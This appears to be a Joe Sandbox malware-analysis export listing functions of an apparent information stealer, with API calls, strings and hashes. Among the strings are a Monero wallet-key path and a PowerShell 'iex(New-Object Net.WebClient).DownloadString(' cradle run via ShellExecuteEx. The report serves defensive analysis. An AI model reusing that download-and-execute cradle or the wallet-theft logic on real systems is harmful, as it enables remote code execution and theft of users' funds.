___crtGetStringTypeA.LIBCMT ref: 003CC8EC
___crtLCMapStringA.LIBCMT ref: 003CC90C
___crtLCMapStringA.LIBCMT ref: 003CC931

Strings

, xrefs: 003CC896

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: 8e67dfc4c9cf26bcf4677865a802ab057db95e7083436d92cacc753c323111f6
Instruction ID: e2f42c8b02739d272f473e341a8f99a3c6c469481726a941f898ed505b90658c
Opcode Fuzzy Hash: 8e67dfc4c9cf26bcf4677865a802ab057db95e7083436d92cacc753c323111f6
Instruction Fuzzy Hash: 3341D4B151079C5EDB228B248C95FFBBBECAB45704F1854ACE98AC6182E3719E45CF60

Function 003C4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0108E470), ref: 003C47DB

Part of subcall function 003C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 003C8E0B

lstrcat.KERNEL32(?,00000000), ref: 003C4801
lstrcat.KERNEL32(?,?), ref: 003C4820
lstrcat.KERNEL32(?,?), ref: 003C4834
lstrcat.KERNEL32(?,0107B8D8), ref: 003C4847
lstrcat.KERNEL32(?,?), ref: 003C485B
lstrcat.KERNEL32(?,0108DC00), ref: 003C486F

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003C8D90: GetFileAttributesA.KERNEL32(00000000,?,003B1B54,?,?,003D564C,?,?,003D0E1F), ref: 003C8D9F

Part of subcall function 003C4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 003C4580
Part of subcall function 003C4570: RtlAllocateHeap.NTDLL(00000000), ref: 003C4587
Part of subcall function 003C4570: wsprintfA.USER32 ref: 003C45A6
Part of subcall function 003C4570: FindFirstFileA.KERNEL32(?,?), ref: 003C45BD

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 9b5bdccf638b4d49314775c46bd5f3c8c409f914950d2b0e980101c8c8b3549f
Instruction ID: 24a7359c6c179f93f47c6698a11a5820c73afce746a8abcb13f9322e16690519
Opcode Fuzzy Hash: 9b5bdccf638b4d49314775c46bd5f3c8c409f914950d2b0e980101c8c8b3549f
Instruction Fuzzy Hash: 793143B690021857CB16F7B0DC85FE9737CAB58700F40498DB359EA081EEB59B89CB96

Function 003C2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01088F58,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

ShellExecuteEx.SHELL32(0000003C), ref: 003C2D85

Strings

')", xrefs: 003C2CB3
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 003C2D04
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 003C2CC4
<, xrefs: 003C2D39

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: b452a3f3a233318b3e1ea3c401c9dea3fba60abdddf56c0a896aee19f741e9cd
Instruction ID: 1baca096cccafe71e904b938fff64564023542f6a8f27384a31008c03ba9c909
Opcode Fuzzy Hash: b452a3f3a233318b3e1ea3c401c9dea3fba60abdddf56c0a896aee19f741e9cd
Instruction Fuzzy Hash: B141CC71C1060C9BDB1AEBA0D896FEDBB78AF10704F40411DE016EA191DF746E4ADF96

Function 003B9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 003B9F41

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Strings

@, xrefs: 003B9EF1
v10, xrefs: 003B9EA3
v20, xrefs: 003B9E21
ERROR_RUN_EXTRACTOR, xrefs: 003B9E67

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 65e150af54737989d2e09665f6a818df84f69de85e66e06cb3236063f0dd3d09
Instruction ID: 9de37fc6a46b800efa269d188509a261dd900f573fac552120c8a2f4f764116d
Opcode Fuzzy Hash: 65e150af54737989d2e09665f6a818df84f69de85e66e06cb3236063f0dd3d09
Instruction Fuzzy Hash: 5C615E71A1064CABDB25EFA4DC96FED7779AF44308F008018FA0A9F581EB746E05CB52

Function 003C70D0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 140COMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

memset.MSVCRT ref: 003C716A

Strings

s<, xrefs: 003C72AE, 003C7179, 003C717C
s<, xrefs: 003C7111
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 003C718C

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpymemset
String ID: s<$s<$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 4047604823-1540657006
Opcode ID: 215c5ac04855c4ce4d09fcf5ff17aeda9f0ad0da046d0ee9969a375389f8c325
Instruction ID: d0a7fb6fde45ae55f8a2b24a0b03289bccba9b92976ce2bb118dae05cb620cbc
Opcode Fuzzy Hash: 215c5ac04855c4ce4d09fcf5ff17aeda9f0ad0da046d0ee9969a375389f8c325
Instruction Fuzzy Hash: 40518FB1C0420C9BDB25EBA0DC81FEEB774AF54304F1444ADE605BA281EB746E88CF55

Function 003C7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 003C7E37
RtlAllocateHeap.NTDLL(00000000), ref: 003C7E3E
RegOpenKeyExA.ADVAPI32(80000002,0107C160,00000000,00020119,?), ref: 003C7E5E
RegQueryValueExA.ADVAPI32(?,0108DBC0,00000000,00000000,000000FF,000000FF), ref: 003C7E7F
RegCloseKey.ADVAPI32(?), ref: 003C7E92

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 5b34ea4eecd0326288590d2f71ca95e0273495d980ad2beb0b199cd3f5f22713
Instruction ID: e85c1ecc16446364ce3b0934064599ffd3f32c8200985fa44f81ad494593a789
Opcode Fuzzy Hash: 5b34ea4eecd0326288590d2f71ca95e0273495d980ad2beb0b199cd3f5f22713
Instruction Fuzzy Hash: C3114CB2A44205EBD704DB94DD49FBBBBBCEB08B10F104159FA09E7680D7B85C04DBA2

Function 003C9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0108E410,?,?,?,003C140C,?,0108E410,00000000), ref: 003C926C
lstrcpyn.KERNEL32(005FAB88,0108E410,0108E410,?,003C140C,?,0108E410), ref: 003C9290
lstrlen.KERNEL32(?,?,003C140C,?,0108E410), ref: 003C92A7
wsprintfA.USER32 ref: 003C92C7

Strings

%s%s, xrefs: 003C92B5

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 43bbc4e00f3d87f035240d7bcb3cd580fdf1c456c17d71b724d14466df224437
Instruction ID: 0afc4a1688e52f8033987f338d3e6cc24220bfc69061f57e63b56b8b7216a11a
Opcode Fuzzy Hash: 43bbc4e00f3d87f035240d7bcb3cd580fdf1c456c17d71b724d14466df224437
Instruction Fuzzy Hash: 9301A5B650010CFFCB04DFE8D988EAE7BB9EB58354F108548F9099B204C675AA45DB96

Function 003B12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 003B12B4
RtlAllocateHeap.NTDLL(00000000), ref: 003B12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 003B12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 003B12F5
RegCloseKey.ADVAPI32(?), ref: 003B12FF

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 6de1493ff53a7841456354805197d34e730598b01b74fe04cfc5db21e95b20e3
Instruction ID: de461f1f6d01fa5fd4c0b9d25407f97388ca57e1dd61a45cad1a211111890de7
Opcode Fuzzy Hash: 6de1493ff53a7841456354805197d34e730598b01b74fe04cfc5db21e95b20e3
Instruction Fuzzy Hash: E1011DB9A40208BBDB00DFE0DC59FAEB7B8EB58705F008159FA09D7280D674AA05DB52

Function 003C6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 003C6663

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01088F58,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

ShellExecuteEx.SHELL32(0000003C), ref: 003C6726
ExitProcess.KERNEL32 ref: 003C6755

Strings

<, xrefs: 003C66D9

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 96215c5bfe0e19741e2a98074174527409f348d80b52c97200398a2a5d20273e
Instruction ID: de3325791a949387feadf2249f35d5502da3860e8254146ed7fdc4e3064caf6a
Opcode Fuzzy Hash: 96215c5bfe0e19741e2a98074174527409f348d80b52c97200398a2a5d20273e
Instruction Fuzzy Hash: 17312BB1801218ABDB15EB90DC96FEEB778AF14304F404189F209AA191DF746F49CF6A

Function 003C87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,003D0E28,00000000,?), ref: 003C882F
RtlAllocateHeap.NTDLL(00000000), ref: 003C8836
wsprintfA.USER32 ref: 003C8850

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Strings

%dx%d, xrefs: 003C8847

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 107431fd1c2ee97133d0db320e8aa02ac06d2cc23c1940ed8f67f813f8cef26c
Instruction ID: eb02aa605bd98192b8f31695998ac9afe9cf1e1bae56f1fa0d38a7094a7c130c
Opcode Fuzzy Hash: 107431fd1c2ee97133d0db320e8aa02ac06d2cc23c1940ed8f67f813f8cef26c
Instruction Fuzzy Hash: F9212EB1A40208AFDB04DF94DD49FBEBBB8FB48711F104119F609E7280C7799904DBA2

Function 003C8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,003C951E,00000000), ref: 003C8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 003C8D62
wsprintfW.USER32 ref: 003C8D78

Strings

%hs, xrefs: 003C8D6F

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
